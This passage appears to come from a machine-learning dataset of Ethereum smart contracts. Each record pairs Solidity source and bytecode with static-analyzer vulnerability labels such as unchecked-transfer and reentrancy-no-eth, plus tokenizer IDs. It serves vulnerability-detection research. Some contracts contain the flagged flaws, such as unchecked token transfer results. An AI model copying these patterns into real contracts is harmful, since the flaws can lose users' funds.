20152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573735265656e7472616e637947756172643a207265656e7472616e742063616c6c0045524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f2061646472657373556e69742050726f746f636f6c2057726170706564204173736574733a20554e535550504f525445445f53454c4543544f52556e69742050726f746f636f6c2057726170706564204173736574733a204e4f545f414c4c4f5745445f464f525f5641554c5445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365556e69742050726f746f636f6c2057726170706564204173736574733a204e4f5f4445504f534954556e69742050726f746f636f6c2057726170706564204173736574733a20494e56414c49445f46454545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365556e69742050726f746f636f6c2057726170706564204173736574733a20415554485f4641494c4544556e69742050726f746f636f6c2057726170706564204173736574733a20494e56414c49445f414d4f554e5445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373556e69742050726f746f636f6c3a20415554485f4641494c45440000000000005472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c454445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f33eb38c8dd81d85e8644c0c23b33d9769a3abc41050315a5d95eae0baceb43f64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 16576, 2094, 2620, 12740, 24434, 11057, 2683, 2575, 2581, 9468, 2629, 2278, 2487, 3401, 2575, 2581, 4783, 2509, 2546, 16068, 2575, 2620, 2487, 2278, 2683, 2620, 2683, 2575, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 18667, 2140, 1011, 1015, 1012, 1015, 1013, 1008, 9385, 25682, 3131, 8778, 1024, 16185, 2213, 23564, 22510, 4492, 1006, 1031, 10373, 5123, 1033, 1007, 1012, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,169
0x9651f0B531E9Be317892FE210CFda391d15eFA90
// SPDX-License-Identifier: MIT pragma solidity >=0.6.12; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract TokenSwaper { using SafeMath for uint256; address public newTokenAddr = 0x46d0DAc0926fa16707042CAdC23F1EB4141fe86B; address public oldTokenAddr = 0x983F6d60db79ea8cA4eB9968C6aFf8cfA04B3c63; address public newApprover; address public oldApprover; address public owner; uint256 public toNewDeadline; uint256 public toOldDeadline; uint256 public toNewRate; constructor( address _newApprover, address _oldApprover, uint256 _toNewDeadline, uint256 _toOldDeadline, uint256 _toNewRate ) public { newApprover = _newApprover; oldApprover = _oldApprover; toNewDeadline = _toNewDeadline; toOldDeadline = _toOldDeadline; toNewRate = _toNewRate; owner = msg.sender; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function SwapToNew(uint256 _amount) external { require(block.number <= toNewDeadline, "toNew: ended"); IERC20(oldTokenAddr).transferFrom(msg.sender, address(this), _amount); uint256 newAmount = _amount.div(toNewRate); uint256 newBal = IERC20(newTokenAddr).balanceOf(address(this)); if(newBal >= newAmount){ IERC20(newTokenAddr).transfer(msg.sender, newAmount); }else{ IERC20(newTokenAddr).transferFrom(newApprover, msg.sender, newAmount); } } function SwapToOld(uint256 _amount) external { require(block.number <= toOldDeadline, "toOld: ended"); IERC20(newTokenAddr).transferFrom(msg.sender, address(this), _amount); uint256 oldAmount = _amount.mul(toNewRate); uint256 oldBal = IERC20(oldTokenAddr).balanceOf(address(this)); if(oldBal >= oldAmount){ IERC20(oldTokenAddr).transfer(msg.sender, oldAmount); }else{ IERC20(oldTokenAddr).transferFrom(oldApprover, msg.sender, oldAmount); } } function withdraw(address _token, uint256 _amount) external onlyOwner { IERC20(_token).transfer(msg.sender, _amount); } function setToOldDeadline(uint256 _toOldDeadline) external onlyOwner { toOldDeadline = _toOldDeadline; } function setToNewDeadline(uint256 _toNewDeadline) external onlyOwner { toNewDeadline = _toNewDeadline; } function setOldApprover(address _oldApprover) external onlyOwner { oldApprover = _oldApprover; } function setNewApprover(address _newApprover) external onlyOwner { newApprover = _newApprover; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806383df94a211610097578063d6572c1111610066578063d6572c1114610318578063e71600db14610336578063f06dba1514610354578063f3fef3a314610398576100f5565b806383df94a21461024e5780638da5cb5b1461027c578063a854c07b146102b0578063cc675e3a146102e4576100f5565b8063359c96c8116100d3578063359c96c81461017a5780633bb2eab7146101a857806346ad56a6146101ec57806383c4998d14610220576100f5565b806311ae3744146100fa57806314467e781461012e57806331a5c2551461015c575b600080fd5b6101026103e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61015a6004803603602081101561014457600080fd5b810190808035906020019092919050505061040c565b005b610164610840565b6040518082815260200191505060405180910390f35b6101a66004803603602081101561019057600080fd5b8101908080359060200190929190505050610846565b005b6101ea600480360360208110156101be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610913565b005b6101f4610a1a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61024c6004803603602081101561023657600080fd5b8101908080359060200190929190505050610a40565b005b61027a6004803603602081101561026457600080fd5b8101908080359060200190929190505050610e71565b005b610284610f3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b8610f64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ec610f88565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610320610fae565b6040518082815260200191505060405180910390f35b61033e610fb4565b6040518082815260200191505060405180910390f35b6103966004803603602081101561036a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fba565b005b6103e4600480360360408110156103ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c1565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600654431115610484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f746f4f6c643a20656e646564000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561053357600080fd5b505af1158015610547573d6000803e3d6000fd5b505050506040513d602081101561055d57600080fd5b81019080805190602001909291905050505060006105866007548361123590919063ffffffff16565b90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561061357600080fd5b505afa158015610627573d6000803e3d6000fd5b505050506040513d602081101561063d57600080fd5b8101908080519060200190929190505050905081811061072b57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106ea57600080fd5b505af11580156106fe573d6000803e3d6000fd5b505050506040513d602081101561071457600080fd5b81019080805190602001909291905050505061083b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156107fe57600080fd5b505af1158015610812573d6000803e3d6000fd5b505050506040513d602081101561082857600080fd5b8101908080519060200190929190505050505b505050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060068190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600554431115610ab8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f746f4e65773a20656e646564000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610b6957600080fd5b505af1158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b8101908080519060200190929190505050506000610bbc600754836112bb90919063ffffffff16565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c4857600080fd5b505afa158015610c5c573d6000803e3d6000fd5b505050506040513d6020811015610c7257600080fd5b81019080805190602001909291905050509050818110610d5e5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d1d57600080fd5b505af1158015610d31573d6000803e3d6000fd5b505050506040513d6020811015610d4757600080fd5b810190808051906020019092919050505050610e6c565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e2f57600080fd5b505af1158015610e43573d6000803e3d6000fd5b505050506040513d6020811015610e5957600080fd5b8101908080519060200190929190505050505b505050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60055481565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461107d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611184576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111f557600080fd5b505af1158015611209573d6000803e3d6000fd5b505050506040513d602081101561121f57600080fd5b8101908080519060200190929190505050505050565b60008083141561124857600090506112b5565b600082840290508284828161125957fe5b04146112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113cc6021913960400191505060405180910390fd5b809150505b92915050565b60006112fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611305565b905092915050565b600080831182906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137657808201518184015260208101905061135b565b50505050905090810190601f1680156113a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816113bd57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220f01b0ab46608ae87fa916a3b88f8399d2bd42bb6c8336f1c9a345a7b6a34be3964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2487, 2546, 2692, 2497, 22275, 2487, 2063, 2683, 4783, 21486, 2581, 2620, 2683, 2475, 7959, 17465, 2692, 2278, 2546, 2850, 23499, 2487, 2094, 16068, 12879, 2050, 21057, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3206, 19204, 26760, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,170
0x965238d571dec9548a3ae5cd3b07a6e9097b3800
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x81C5077735900861E35D4712C716d6f5578228Ab; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058206d5f4ab61663498c26a4b6270c99572b673af23a3838b691a9fb9c41bd75344f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 21926, 2620, 2094, 28311, 2487, 3207, 2278, 2683, 27009, 2620, 2050, 2509, 6679, 2629, 19797, 2509, 2497, 2692, 2581, 2050, 2575, 2063, 21057, 2683, 2581, 2497, 22025, 8889, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,171
0x96534b7a3e54c3e4a545157c7cba9452a5e1c667
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Sample token contract // // Symbol : YFNEX // Name : YFNEX.finance // Total supply : 20000000000000000000000 // Decimals : 18 // Owner Account : 0xAEf7f3B21009ebF66915EBfCb9fa2Ad9F79B3a53 // // Enjoy. // // (c) by Juan Cruz Martinez 2020. MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** Contract function to receive approval and execute function in one call Borrowed from MiniMeToken */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /** ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract YFNEXToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "YFNEX"; name = "YFNEX.finance"; decimals = 18; _totalSupply = 20000000000000000000000; balances[0xAEf7f3B21009ebF66915EBfCb9fa2Ad9F79B3a53] = _totalSupply; emit Transfer(address(0), 0xAEf7f3B21009ebF66915EBfCb9fa2Ad9F79B3a53, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = 